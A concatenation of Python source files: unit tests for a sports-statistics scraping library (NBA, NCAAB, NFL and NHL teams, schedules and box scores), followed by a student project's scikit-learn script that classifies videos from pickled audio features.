self.teams = Teams() def test_nba_integration_returns_correct_number_of_teams(self): assert len(self.teams) == len(self.abbreviations) def test_nba_integration_returns_correct_attributes_for_team(self): detroit = self.teams('DET') for attribute, value in self.results.items(): assert getattr(detroit, attribute) == value def test_nba_integration_returns_correct_team_abbreviations(self): for team in self.teams: assert team.abbreviation in self.abbreviations def test_nba_integration_dataframe_returns_dataframe(self): df = pd.DataFrame([self.results], index=['DET']) detroit = self.teams('DET') # Pandas doesn't natively allow comparisons of DataFrames. # Concatenating the two DataFrames (the one generated during the test # and the expected one above) and dropping duplicate rows leaves only # the rows that are unique between the two frames. This allows a quick # check of the DataFrame to see if it is empty - if so, all rows are # duplicates, and they are equal. frames = [df, detroit.dataframe] df1 = pd.concat(frames).drop_duplicates(keep=False) assert df1.empty def test_nba_integration_all_teams_dataframe_returns_dataframe(self): result = self.teams.dataframes.drop_duplicates(keep=False) assert len(result) == len(self.abbreviations) assert set(result.columns.values) == set(self.results.keys()) def test_nba_invalid_team_name_raises_value_error(self): with pytest.raises(ValueError): self.teams('INVALID_NAME') ``` #### File: tests/unit/test_ncaab_teams.py ```python from flexmock import flexmock from mock import PropertyMock from sportsreference.ncaab.schedule import Schedule from sportsreference.ncaab.teams import Team class TestNCAABTeams: def test_ncaab_schedule_returns_schedule(self, *args, **kwargs): flexmock(Team) \ .should_receive('_parse_team_data') \ .and_return(None) flexmock(Schedule) \ .should_receive('_pull_schedule') \ .and_return(None) team = Team(None, 1) assert len(team.schedule) == 0 def test_two_point_field_goal_percentage_returns_default(self): flexmock(Team) \ .should_receive('_parse_team_data') \ .and_return(None) flexmock(Schedule) \ .should_receive('_pull_schedule') \ .and_return(None) team = Team(None, 1) mock_field_goals = PropertyMock(return_value=0) type(team).two_point_field_goals = mock_field_goals type(team).two_point_field_goal_attempts = mock_field_goals result = team.two_point_field_goal_percentage assert result == 0.0 def test_opp_two_point_field_goal_percentage_returns_default(self): flexmock(Team) \ .should_receive('_parse_team_data') \ .and_return(None) flexmock(Schedule) \ .should_receive('_pull_schedule') \ .and_return(None) team = Team(None, 1) mock_field_goals = PropertyMock(return_value=0) type(team).opp_two_point_field_goals = mock_field_goals type(team).opp_two_point_field_goal_attempts = mock_field_goals result = team.opp_two_point_field_goal_percentage assert result == 0.0 ``` #### File: tests/unit/test_nfl_schedule.py ```python from flexmock import flexmock from mock import PropertyMock from sportsreference.constants import (AWAY, HOME, LOSS, NEUTRAL, POST_SEASON, REGULAR_SEASON, WIN) from sportsreference.nfl.constants import (CONF_CHAMPIONSHIP, DIVISION, SUPER_BOWL, WILD_CARD) from sportsreference.nfl.schedule import Game, Schedule YEAR = 2017 class TestNFLSchedule: def setup_method(self, *args, **kwargs): flexmock(Game) \ .should_receive('_parse_game_data') \ .and_return(None) self.game = Game(None, REGULAR_SEASON, YEAR) def test_away_game_returns_away_location(self): fake_location = PropertyMock(return_value='@') type(self.game)._location = fake_location assert self.game.location == AWAY def test_home_game_returns_home_location(self): fake_location = PropertyMock(return_value='') type(self.game)._location = fake_location assert self.game.location == HOME def test_neutral_game_returns_neutral_location(self): fake_location = PropertyMock(return_value='N') type(self.game)._location = fake_location assert self.game.location == NEUTRAL def test_winning_result_returns_win(self): fake_result = PropertyMock(return_value='W') type(self.game)._result = fake_result assert self.game.result == WIN def test_losing_result_returns_loss(self): fake_result = PropertyMock(return_value='L') type(self.game)._result = fake_result assert self.game.result == LOSS def test_overtime_returns_overtime(self): fake_overtime = PropertyMock(return_value='OT') type(self.game)._overtime = fake_overtime assert self.game.overtime def test_no_overtime_returns_none(self): fake_overtime = PropertyMock(return_value='') type(self.game)._overtime = fake_overtime assert not self.game.overtime def test_regular_season_type(self): assert self.game.type == REGULAR_SEASON def test_playoff_type(self): game = Game(None, POST_SEASON, YEAR) assert game.type == POST_SEASON def test_wild_card_game_returns_wild_card(self): fake_week = PropertyMock(return_value='Wild Card') type(self.game)._week = fake_week assert self.game.week == WILD_CARD def test_division_playoff_game_returns_division(self): fake_week = PropertyMock(return_value='Division') type(self.game)._week = fake_week assert self.game.week == DIVISION def test_conference_championship_returns_division(self): fake_week = PropertyMock(return_value='Conf. Champ.') type(self.game)._week = fake_week assert self.game.week == CONF_CHAMPIONSHIP def test_super_bowl_returns_super_bowl(self): fake_week = PropertyMock(return_value='SuperBowl') type(self.game)._week = fake_week assert self.game.week == SUPER_BOWL def test_empty_game_class_returns_dataframe_of_none(self): assert self.game._points_scored is None assert self.game._points_allowed is None assert self.game.dataframe is None def test_no_dataframes_returns_none(self): flexmock(Schedule) \ .should_receive('_pull_schedule') \ .and_return(None) schedule = Schedule('DET') fake_game = flexmock(dataframe=None) fake_games = PropertyMock(return_value=fake_game) type(schedule).__iter__ = fake_games assert schedule.dataframe is None def test_no_dataframes_extended_returns_none(self): flexmock(Schedule) \ .should_receive('_pull_schedule') \ .and_return(None) schedule = Schedule('DET') fake_game = flexmock(dataframe_extended=None) fake_games = PropertyMock(return_value=fake_game) type(schedule).__iter__ = fake_games assert schedule.dataframe_extended is None ``` #### File: tests/unit/test_nhl_boxscore.py ```python from flexmock import flexmock from mock import patch, PropertyMock from pyquery import PyQuery as pq from sportsreference import utils from sportsreference.constants import AWAY, HOME from sportsreference.nhl.boxscore import Boxscore, Boxscores class MockField: def __init__(self, field): self._field = field def text(self): return self._field class MockBoxscoreData: def __init__(self, fields): self._fields = fields def __call__(self, field): return self def items(self): return [self._fields] class MockName: def __init__(self, name): self._name = name def text(self): return self._name def mock_pyquery(url): class MockPQ: def __init__(self, html_contents): self.status_code = 404 self.html_contents = html_contents self.text = html_contents boxscore = read_file('%s.html' % BOXSCORE) return MockPQ(boxscore) class TestNHLBoxscore: @patch('requests.get', side_effect=mock_pyquery) def setup_method(self, *args, **kwargs): flexmock(Boxscore) \ .should_receive('_parse_game_data') \ .and_return(None) self.boxscore = Boxscore(None) def test_away_team_wins(self): fake_away_goals = PropertyMock(return_value=4) fake_home_goals = PropertyMock(return_value=3) type(self.boxscore)._away_goals = fake_away_goals type(self.boxscore)._home_goals = fake_home_goals assert self.boxscore.winner == AWAY def test_home_team_wins(self): fake_away_goals = PropertyMock(return_value=3) fake_home_goals = PropertyMock(return_value=4) type(self.boxscore)._away_goals = fake_away_goals type(self.boxscore)._home_goals = fake_home_goals assert self.boxscore.winner == HOME def test_winning_name_is_home(self): expected_name = 'Home Name' fake_winner = PropertyMock(return_value=HOME) fake_home_name = PropertyMock(return_value=MockName(expected_name)) type(self.boxscore).winner = fake_winner type(self.boxscore)._home_name = fake_home_name assert self.boxscore.winning_name == expected_name def test_winning_name_is_away(self): expected_name = 'Away Name' fake_winner = PropertyMock(return_value=AWAY) fake_away_name = PropertyMock(return_value=MockName(expected_name)) type(self.boxscore).winner = fake_winner type(self.boxscore)._away_name = fake_away_name assert self.boxscore.winning_name == expected_name def test_winning_abbr_is_home(self): expected_name = 'HOME' flexmock(utils) \ .should_receive('_parse_abbreviation') \ .and_return(expected_name) fake_winner = PropertyMock(return_value=HOME) fake_home_abbr = PropertyMock(return_value=MockName(expected_name)) type(self.boxscore).winner = fake_winner type(self.boxscore)._home_abbr = fake_home_abbr assert self.boxscore.winning_abbr == expected_name def test_winning_abbr_is_away(self): expected_name = 'AWAY' flexmock(utils) \ .should_receive('_parse_abbreviation') \ .and_return(expected_name) fake_winner = PropertyMock(return_value=AWAY) fake_away_abbr = PropertyMock(return_value=MockName(expected_name)) type(self.boxscore).winner = fake_winner type(self.boxscore)._away_abbr = fake_away_abbr assert self.boxscore.winning_abbr == expected_name def test_losing_name_is_home(self): expected_name = 'Home Name' fake_winner = PropertyMock(return_value=AWAY) fake_home_name = PropertyMock(return_value=MockName(expected_name)) type(self.boxscore).winner = fake_winner type(self.boxscore)._home_name = fake_home_name assert self.boxscore.losing_name == expected_name def test_losing_name_is_away(self): expected_name = 'Away Name' fake_winner = PropertyMock(return_value=HOME) fake_away_name = PropertyMock(return_value=MockName(expected_name)) type(self.boxscore).winner = fake_winner type(self.boxscore)._away_name = fake_away_name assert self.boxscore.losing_name == expected_name def test_losing_abbr_is_home(self): expected_name = 'HOME' flexmock(utils) \ .should_receive('_parse_abbreviation') \ .and_return(expected_name) fake_winner = PropertyMock(return_value=AWAY) fake_home_abbr = PropertyMock(return_value=MockName(expected_name)) type(self.boxscore).winner = fake_winner type(self.boxscore)._home_abbr = fake_home_abbr assert self.boxscore.losing_abbr == expected_name def test_losing_abbr_is_away(self): expected_name = 'AWAY' flexmock(utils) \ .should_receive('_parse_abbreviation') \ .and_return(expected_name) fake_winner = PropertyMock(return_value=HOME) fake_away_abbr = PropertyMock(return_value=MockName(expected_name)) type(self.boxscore).winner = fake_winner type(self.boxscore)._away_abbr = fake_away_abbr assert self.boxscore.losing_abbr == expected_name def test_invalid_away_game_winning_goals_returns_default(self): goals = ['0', '1', 'bad'] fake_goals = PropertyMock(return_value=goals) fake_num_skaters = PropertyMock(return_value=3) fake_num_goalies = PropertyMock(return_value=0) type(self.boxscore)._away_game_winning_goals = fake_goals type(self.boxscore)._away_skaters = fake_num_skaters type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_game_winning_goals == 1 def test_invalid_away_even_strength_assists_returns_default(self): assists = ['0', '1', 'bad'] fake_assists = PropertyMock(return_value=assists) fake_num_skaters = PropertyMock(return_value=3) fake_num_goalies = PropertyMock(return_value=0) type(self.boxscore)._away_even_strength_assists = fake_assists type(self.boxscore)._away_skaters = fake_num_skaters type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_even_strength_assists == 1 def test_invalid_home_even_strength_assists_returns_default(self): assists = ['0', '1', 'bad'] fake_assists = PropertyMock(return_value=assists) fake_num_skaters = PropertyMock(return_value=0) fake_num_goalies = PropertyMock(return_value=0) type(self.boxscore)._home_even_strength_assists = fake_assists type(self.boxscore)._away_skaters = fake_num_skaters type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_even_strength_assists == 1 def test_invalid_away_power_play_assists_returns_default(self): assists = ['0', '1', 'bad'] fake_assists = PropertyMock(return_value=assists) fake_num_skaters = PropertyMock(return_value=3) fake_num_goalies = PropertyMock(return_value=0) type(self.boxscore)._away_power_play_assists = fake_assists type(self.boxscore)._away_skaters = fake_num_skaters type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_power_play_assists == 1 def test_invalid_home_power_play_assits_returns_default(self): assists = ['0', '1', 'bad'] fake_assists = PropertyMock(return_value=assists) fake_num_skaters = PropertyMock(return_value=0) fake_num_goalies = PropertyMock(return_value=0) type(self.boxscore)._home_power_play_assists = fake_assists type(self.boxscore)._away_skaters = fake_num_skaters type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_power_play_assists == 1 def test_invalid_away_short_handed_assists_returns_default(self): assists = ['0', '1', 'bad'] fake_assists = PropertyMock(return_value=assists) fake_num_skaters = PropertyMock(return_value=3) fake_num_goalies = PropertyMock(return_value=0) type(self.boxscore)._away_short_handed_assists = fake_assists type(self.boxscore)._away_skaters = fake_num_skaters type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_short_handed_assists == 1 def test_invalid_home_short_handed_assits_returns_default(self): assists = ['0', '1', 'bad'] fake_assists = PropertyMock(return_value=assists) fake_num_skaters = PropertyMock(return_value=0) fake_num_goalies = PropertyMock(return_value=0) type(self.boxscore)._home_short_handed_assists = fake_assists type(self.boxscore)._away_skaters = fake_num_skaters type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_short_handed_assists == 1 def test_invalid_url_returns_none(self): result = Boxscore(None)._retrieve_html_page('') assert result is None def test_regular_season_information(self): fields = { 'date': 'October 5, 2017', 'playoff_round': None, 'time': '7:00 PM', 'attendance': 17565, 'arena': 'TD Garden', 'duration': '2:39' } mock_field = """October 5, 2017, 7:00 PM Attendance: 17,565 Arena: TD Garden Game Duration: 2:39 Logos via Sports Logos.net / About logos """ m = MockBoxscoreData(MockField(mock_field)) self.boxscore._parse_game_date_and_location(m) for field, value in fields.items(): assert getattr(self.boxscore, field) == value def test_playoffs_information(self): fields = { 'date': 'June 7, 2018', 'playoff_round': 'Stanley Cup Final', 'time': '8:00 PM', 'attendance': 18529, 'arena': 'T-Mobile Arena', 'duration': '2:45' } mock_field = """June 7, 2018, 8:00 PM Stanley Cup Final Attendance: 18,529 Arena: T-Mobile Arena Game Duration: 2:45 Logos via Sports Logos.net / About logos """ m = MockBoxscoreData(MockField(mock_field)) self.boxscore._parse_game_date_and_location(m) for field, value in fields.items(): assert getattr(self.boxscore, field) == value def test_no_game_information(self): fields = { 'date': '', 'playoff_round': None, 'time': None, 'attendance': None, 'arena': None, 'duration': None } mock_field = '\n' m = MockBoxscoreData(MockField(mock_field)) self.boxscore._parse_game_date_and_location(m) for field, value in fields.items(): assert getattr(self.boxscore, field) == value def test_limited_game_information(self): fields = { 'date': 'June 7, 2018', 'playoff_round': 'Stanley Cup Final', 'time': None, 'attendance': None, 'arena': 'T-Mobile Arena', 'duration': None } mock_field = """June 7, 2018 Stanley Cup Final Arena: T-Mobile Arena Logos via Sports Logos.net / About logos """ m = MockBoxscoreData(MockField(mock_field)) self.boxscore._parse_game_date_and_location(m) for field, value in fields.items(): assert getattr(self.boxscore, field) == value def test_away_shutout_single_goalies(self): shutout = ['1', '0'] fake_shutout = PropertyMock(return_value=shutout) fake_num_goalies = PropertyMock(return_value=1) type(self.boxscore)._away_shutout = fake_shutout type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_shutout == 1 def test_away_shutout_multiple_goalies(self): shutout = ['0', '1', '0'] fake_shutout = PropertyMock(return_value=shutout) fake_num_goalies = PropertyMock(return_value=2) type(self.boxscore)._away_shutout = fake_shutout type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_shutout == 1 def test_away_shutout_multiple_goalies_empty_field(self): shutout = ['', '1', '0'] fake_shutout = PropertyMock(return_value=shutout) fake_num_goalies = PropertyMock(return_value=2) type(self.boxscore)._away_shutout = fake_shutout type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_shutout == 1 def test_home_shutout_single_goalies(self): shutout = ['0', '1'] fake_shutout = PropertyMock(return_value=shutout) fake_num_goalies = PropertyMock(return_value=1) type(self.boxscore)._home_shutout = fake_shutout type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_shutout == 1 def test_home_shutout_multiple_goalies(self): shutout = ['0', '0', '1'] fake_shutout = PropertyMock(return_value=shutout) fake_num_goalies = PropertyMock(return_value=1) type(self.boxscore)._home_shutout = fake_shutout type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_shutout == 1 def test_home_shutout_multiple_goalies_empty_field(self): shutout = ['0', '', '1'] fake_shutout = PropertyMock(return_value=shutout) fake_num_goalies = PropertyMock(return_value=1) type(self.boxscore)._home_shutout = fake_shutout type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_shutout == 1 def test_away_saves_single_goalies(self): saves = ['29', '30'] fake_saves = PropertyMock(return_value=saves) fake_num_goalies = PropertyMock(return_value=1) type(self.boxscore)._away_saves = fake_saves type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_saves == 29 def test_away_saves_multiple_goalies_empty_field(self): saves = ['29', '3', '30'] fake_saves = PropertyMock(return_value=saves) fake_num_goalies = PropertyMock(return_value=2) type(self.boxscore)._away_saves = fake_saves type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_saves == 32 def test_away_saves_multiple_goalies_empty_field(self): saves = ['29', '', '30'] fake_saves = PropertyMock(return_value=saves) fake_num_goalies = PropertyMock(return_value=2) type(self.boxscore)._away_saves = fake_saves type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.away_saves == 29 def test_home_saves_single_goalies(self): saves = ['29', '30'] fake_saves = PropertyMock(return_value=saves) fake_num_goalies = PropertyMock(return_value=1) type(self.boxscore)._home_saves = fake_saves type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_saves == 30 def test_home_saves_multiple_goalies_empty_field(self): saves = ['29', '3', '30'] fake_saves = PropertyMock(return_value=saves) fake_num_goalies = PropertyMock(return_value=1) type(self.boxscore)._home_saves = fake_saves type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_saves == 33 def test_home_saves_multiple_goalies_empty_field(self): saves = ['29', '30', ''] fake_saves = PropertyMock(return_value=saves) fake_num_goalies = PropertyMock(return_value=1) type(self.boxscore)._home_saves = fake_saves type(self.boxscore)._away_goalies = fake_num_goalies assert self.boxscore.home_saves == 30 def test_away_save_percentage(self): fake_saves = PropertyMock(return_value=30) fake_shots_on_goal = PropertyMock(return_value=33) type(self.boxscore).away_saves = fake_saves type(self.boxscore).home_shots_on_goal = fake_shots_on_goal assert self.boxscore.away_save_percentage == 0.909 def test_away_save_percentage_zero_shots(self): fake_saves = PropertyMock(return_value=0) fake_shots_on_goal = PropertyMock(return_value=0) type(self.boxscore).away_saves = fake_saves type(self.boxscore).home_shots_on_goal = fake_shots_on_goal assert self.boxscore.away_save_percentage == 0.0 def test_home_save_percentage(self): fake_saves = PropertyMock(return_value=30) fake_shots_on_goal = PropertyMock(return_value=33) type(self.boxscore).home_saves = fake_saves type(self.boxscore).away_shots_on_goal = fake_shots_on_goal assert self.boxscore.home_save_percentage == 0.909 def test_home_save_percentage_zero_shots(self): fake_saves = PropertyMock(return_value=0) fake_shots_on_goal = PropertyMock(return_value=0) type(self.boxscore).home_saves = fake_saves type(self.boxscore).away_shots_on_goal = fake_shots_on_goal assert self.boxscore.home_save_percentage == 0.0 def test_no_class_information_returns_dataframe_of_none(self): mock_goals = PropertyMock(return_value=None) type(self.boxscore)._away_goals = mock_goals type(self.boxscore)._home_goals = mock_goals assert self.boxscore.dataframe is None class TestMLBBoxscores: @patch('requests.get', side_effect=mock_pyquery) def setup_method(self, *args, **kwargs): flexmock(Boxscores) \ .should_receive('_get_team_details') \ .and_return((None, None, None, None, None, None)) flexmock(Boxscores) \ .should_receive('_find_games') \ .and_return(None) self.boxscores = Boxscores(None) def test_improper_loser_boxscore_format_skips_game(self): mock_html = pq("""<table class="teams"> <tbody> <tr class="loser"> <td class="right">1</td> <td class="right gamelink"> </td> </tr> <tr class="winner"> <td><a href="/teams/DET/2019.html">Detroit Red Wings</a></td> <td class="right">3</td> <td class="right">&nbsp; </td> </tr> </tbody> </table>""") games = self.boxscores._extract_game_info([mock_html]) assert len(games) == 0 def test_improper_winner_boxscore_format_skips_game(self): mock_html = pq("""<table class="teams"> <tbody> <tr class="loser"> <td><a href="/teams/LAK/2019.html">Los Angeles Kings</a></td> <td class="right">1</td> <td class="right gamelink"> <a href="/boxscores/201812100DET.html">Final</a> </td> </tr> <tr class="winner"> <td class="right">3</td> <td class="right">&nbsp; </td> </tr> </tbody> </table>""") games = self.boxscores._extract_game_info([mock_html]) assert len(games) == 0 ```
{ "source": "JosephDevaney/FYP", "score": 3 }
#### File: JosephDevaney/FYP/Classification.py ```python from sklearn import tree from sklearn.naive_bayes import GaussianNB, MultinomialNB, BernoulliNB from sklearn import svm from sklearn.neighbors import KNeighborsClassifier from sklearn.metrics import confusion_matrix from sklearn.metrics import accuracy_score from sklearn.metrics import classification_report from sklearn.cross_validation import StratifiedKFold from sklearn.cross_validation import cross_val_score from sklearn.cross_validation import cross_val_predict from sklearn.feature_selection import f_classif from sklearn.feature_selection import SelectKBest from sklearn.feature_selection import SelectPercentile from sklearn.decomposition import PCA from sklearn.decomposition import TruncatedSVD from sklearn.decomposition import KernelPCA from sklearn.decomposition import RandomizedPCA from hmmlearn import hmm from sklearn.linear_model import LogisticRegression from sklearn.ensemble import RandomForestClassifier import numpy as np import scipy.fftpack as fft from VideoFeatures import VideoFeatures import WnLFeatures as wnl import pickle as pkl import time import gc # These should be loaded from the config file CONF_FILE = "config.txt" REG_FEATS = "features.ftr" SHORT_FEATS = "features30sec.ftr" # This function takes instantiates the desired Classification object and returns it # If the options are not loaded the user is prompted for the decision def get_classifier_from_cmd(cls=None): if cls is None: print("Please select the number that corresponds to the desired Classifier:") print("1. Decision Tree") print("2. Naive Bayes") print("3. SVM") print("4. kNN") print("5. Random Forest") cls = int(input()) cls_opts = [x for x in cls.split('|')] cls = int(cls_opts[0]) if cls == 1: classifier = tree.DecisionTreeClassifier(criterion="entropy") elif cls == 2: # NB # classifier = GaussianNB() # classifier = MultinomialNB() classifier = BernoulliNB() elif cls == 3: # SVM opts = [x for x in cls_opts[1].split('$')] gm = 'auto' if opts[0] in ['rbf', 'poly', 'sigmoid']: if opts[2] != 'auto': gm = float(opts[2]) classifier = svm.SVC(kernel=opts[0], decision_function_shape=opts[1], gamma=gm) elif cls == 4: opts = [x for x in cls_opts[1].split('$')] classifier = KNeighborsClassifier(n_neighbors=int(opts[0]), algorithm='ball_tree', weights=opts[1], leaf_size=int(opts[2])) elif cls == 5: classifier = RandomForestClassifier(criterion="entropy") return classifier # This function builds the matrix of features per instance and returns it. # Pads individual features with 0's to ensure each instance has the same number of columns/features # Tracks the columns that will have a feature reduction applied and the amount this will be. def get_feature_choice_cmd(ftr=None, ftr_sel=None, path=None, cls=None, win_len=None): if ftr is None: print("Please select the feature (Separated by | for multiple):") print("1. Beat Variance Ratio") print("2. Silence Ratio") print("3. MFCC") print("4. MFCC Delta") print("5. Chromagram") print("6. Spectroid") print("7. FFT average over 1s window") print("8. ZCR over window") print("9. MFCC over window") ftr = input() # ftr = [int(x) for x in ftr.split('|')] ftr = [opts.split('$')[0] for opts in ftr.split('|')] ftr_sel = {opts.split('$')[0]: opts.split('$')[1] for opts in ftr.split('|')} if path is None: path = input("Enter path to features: \n") if cls is None: cls = ["Entertainment", "Music", "Comedy", "Film & Animation", "News & Politics", "Sports", "People & Blogs", "Howto & Style", "Pets & Animals"] if win_len is None: win_len = 0.04 start = True # features = np.empty(shape=(0, 0)) features = {} f_max_len = {} classes = {} # Path is an array containing potentially multiple features files that can be used to load Video objects from disk. for p in path: with open(p + SHORT_FEATS, "rb") as inp: unpickle = pkl.Unpickler(inp) count = 0 # Create the UnPickler object and loop until there are no objects left in the file. Break from loop then. while True: try: cur_feature = {} vid = unpickle.load() # If video is in the approved class list add all selected features to a dictionary cur_feature if vid.get_category_from_name() in cls: count += 1 if 1 in ftr: cur_feature[1] = vid.bvratio if 2 in ftr: cur_feature[2] = vid.silence_ratio if 3 in ftr: cur_feature[3] = np.array(vid.mfcc).reshape((1, -1))[0] if 4 in ftr: cur_feature[4] = np.array(vid.mfcc_delta).reshape((1, -1))[0] if 5 in ftr: cur_feature[5] = np.array(vid.chromagram).reshape((1, -1))[0] if 6 in ftr: cur_feature[6] = vid.spectroid[0] if 7 in ftr: cur_feature[7] = vid.get_windowed_fft(int(np.ceil(vid.rate * win_len))) if 8 in ftr: cur_feature[8] = vid.get_windowed_zcr(int(np.ceil(vid.rate * win_len))) if 9 in ftr: cur_feature[9] = np.array(wnl.get_window_mfcc(vid.mfcc, int(np.ceil(vid.rate * win_len)))) \ .reshape((1, -1))[0] # This section was designed under the assumption that the features could be returned in various # 2d layouts. It essentially checks the size of the current feature against the largest # number of columns so far. It then pads the smaller one with 0's # This can definitely be refactored into simpler, more readable code. if start: for i in ftr: features[i] = np.array([cur_feature[i]]) f_shape = features[i].shape if hasattr(cur_feature[i], "__len__"): if len(f_shape) > 1: f_max_len[i] = f_shape[1] else: f_max_len[i] = len(f_shape) start = False # classes = np.array(vid.get_category_from_name()) classes[i] = [vid.get_category_from_name()] else: for i in ftr: if hasattr(cur_feature[i], "__len__"): if len(cur_feature[i].shape) > 1: if cur_feature[i].shape[1] > f_max_len[i]: if len(features[i].shape) > 1: features[i] = np.pad(features[i], ((0, 0), (0, cur_feature[i].shape[1] - f_max_len[i])), mode="constant") f_max_len[i] = cur_feature[i].shape[1] else: features[i] = np.pad(features[i], (0, cur_feature[i].shape[1] - f_max_len[i]), mode="constant") f_max_len[i] = cur_feature[i].shape[1] elif cur_feature[i].shape[1] < f_max_len[i]: cur_feature[i] = np.pad(cur_feature[i], ((0, 0), (0, f_max_len[i] - cur_feature[i].shape[1])), mode="constant") elif len(cur_feature[i].shape) == 1: if cur_feature[i].shape[0] > f_max_len[i]: if len(features[i].shape) > 1: features[i] = np.pad(features[i], ((0, 0), (0, cur_feature[i].shape[0] - f_max_len[i])), mode="constant") f_max_len[i] = cur_feature[i].shape[0] else: features[i] = np.pad(features[i], (0, cur_feature[i].shape[0] - f_max_len[i]), mode="constant") f_max_len[i] = cur_feature[i].shape[0] elif cur_feature[i].shape[0] < f_max_len[i]: cur_feature[i] = np.pad(cur_feature[i], (0, f_max_len[i] - cur_feature[i].shape[0]), mode="constant") features[i] = np.vstack((features[i], [cur_feature[i]])) # classes = np.append(classes, [vid.get_category_from_name()]) classes[i].append(vid.get_category_from_name()) except EOFError: print("EOF") break except TypeError: print("Unable to load object") except pkl.UnpicklingError: print("Unable to load object2") gc.collect() # Join each feature into one large array. # Keep track of the indices for each feature that needs reduction applied later select_ind = [] print("Count = ", count) total_feature = features[ftr[0]] if ftr_sel[ftr[0]] > 0: select_ind = [(0, len(total_feature[0]), ftr_sel[ftr[0]])] for i in range(1, len(ftr)): if ftr_sel[ftr[i]] > 0: start = len(total_feature[0]) select_ind.append((start, start + len(features[ftr[i]][0]), ftr_sel[ftr[i]])) total_feature = np.hstack((total_feature, features[ftr[i]])) # targets = np.array(classes) targets = [value for key, value in classes.items()] return total_feature, targets[0], select_ind # Apply the feature selection to the features matrix as necessary. def feature_selection(features, select_ind, targets): start_sel = True last_ind = 0 feat2 = features for inds in select_ind: # If this is the first loop check if the first feature to be reduced is not the first index. # If so add all features up to that point to an array and track the original indices also # Do the same if it is not the first loop, but the next reduce index is > the last index if start_sel: if inds[0] > 0: feat2 = features[:, 0:inds[0]] total_supp = np.arange(0, inds[0]) # total_supp = np.ones(inds[0], dtype=bool) start_sel = False last_ind = inds[0] elif inds[0] > last_ind: feat2 = np.hstack((feat2, features[:, last_ind:inds[0]])) total_supp = np.hstack((total_supp, np.arange(last_ind, inds[0] + 1))) # total_supp = np.hstack((total_supp, np.ones((inds[0]-last_ind), dtype=bool))) # Get the number of columns to retain and create object size = (inds[1] - inds[0]) / inds[2] skb = SelectKBest(score_func=f_classif, k=size) # skb = SelectPercentile(score_func=f_classif, percentile=inds[2]) # slice out the columns relating to the current feature f = features[:, inds[0]:inds[1]] # Return an array of the selected features. Get the indices and add them to an array f_select = skb.fit_transform(f, targets) # skb.fit(f, targets) # f_select = skb.transform(f) f_supp = skb.get_support(indices=True) f_supp += last_ind if start_sel: feat2 = f_select total_supp = f_supp start_sel = False else: feat2 = np.hstack((feat2, f_select)) total_supp = np.hstack((total_supp, f_supp)) last_ind = inds[1] return feat2, total_supp # Perform PCA on the desired features def feature_reduction_fit(features, select_ind, red_pca, fit=False): start_sel = True last_ind = 0 feat2 = features for inds in select_ind: if start_sel: if inds[0] > 0: feat2 = features[:, 0:inds[0]] start_sel = False elif inds[0] > last_ind: feat2 = np.hstack((feat2, features[:, last_ind:inds[0]])) # If this is the training set, fit the data to the object before transforming. # If its not then just transform # Create the new array and return it and the PCA objects if fit: red_pca[inds[0]].fit(features[:, inds[0]:inds[1]]) f_reduct = red_pca[inds[0]].transform(features[:, inds[0]:inds[1]]) if start_sel: feat2 = f_reduct start_sel = False else: feat2 = np.hstack((feat2, f_reduct)) last_ind = inds[1] return feat2, red_pca def main(): clf_choice = None ftr_choice = None ftr_sel = None win_len = None path = [] opts = [] cls_choice = [] # If the config.txt file exists, extract the options from it. try: opts = [line.strip('\n') for line in open(CONF_FILE)] clf_choice = opts[0] use_cv = int(opts[1].split('$')[0]) num_folds = int(opts[1].split('$')[1]) ftr_choice = [int(opts.split('$')[0]) for opts in opts[2].split('|')] ftr_sel = {int(opts.split('$')[0]): int(opts.split('$')[1]) for opts in opts[2].split('|')} # ftr_choice, ftr_sel = [int(x), int(y) for x, y in setting.split('$') for settings in ftr_settings] win_len = float(opts[3]) reduction_choice = int(opts[4]) path = [f for f in opts[5].split('$')] cls_choice = [x for x in opts[6].split('|')] Num_tests = int(opts[7]) except FileNotFoundError: use_cv = int(input("Enter 1 to use Stratified Kfold CV: \n")) clf = get_classifier_from_cmd(clf_choice) features, targets, select_ind = get_feature_choice_cmd(ftr=ftr_choice, ftr_sel=ftr_sel, path=path, cls=cls_choice, win_len=win_len) numtest = {} train_t = [] test_t = [] test_ind = [] train_ind = [] print("*****Starting to Test*****") # In practice this option is never taken if use_cv != 1: for i in range(0, len(targets)): t = targets[i] if t not in numtest: numtest[t] = 0 if numtest[t] < 2: test_ind.append(i) test_t.append(targets[i]) numtest[t] += 1 else: train_ind.append(i) train_t.append(targets[i]) train_f = features[train_ind] # train_t = targets[train_ind] test_f = features[test_ind] # test_t = targets[test_ind] # train_f = features # train_t = targets # test_f = features # test_t = targets # clf = clf.fit(features[: int(len(features)/10)], targets[: int(len(features)/10)]) # predictions = clf.predict(features[- int(len(features)/10):], targets[- int(len(features)/10):]) clf = clf.fit(train_f, train_t) predictions = clf.predict(test_f) print("Accuracy is : " + str(accuracy_score(test_t, predictions))) print("----------------------------") print("Confusion Matrix: ") print(confusion_matrix(test_t, predictions)) print("\n\n") else: # perform total classification for the specified number of iterations for _ in range(Num_tests): skf = StratifiedKFold(targets, n_folds=num_folds) # result = cross_val_score(clf, features, targets, cv=skf) filename = time.strftime("Tests\\%Y_%m_%d__%H_%M_%S", time.gmtime()) + '.txt' savefile = open(filename, 'w+') if opts is not []: savefile.write("Options for this experiment are as follows: \n") savefile.write(str(opts) + '\n\n') # savefile.write("Total Accuracy: %0.2f (+/- %0.2f)\n\n" % (result.mean(), result.std() * 2)) # preds = cross_val_predict(clf, features, targets, cv=skf) # 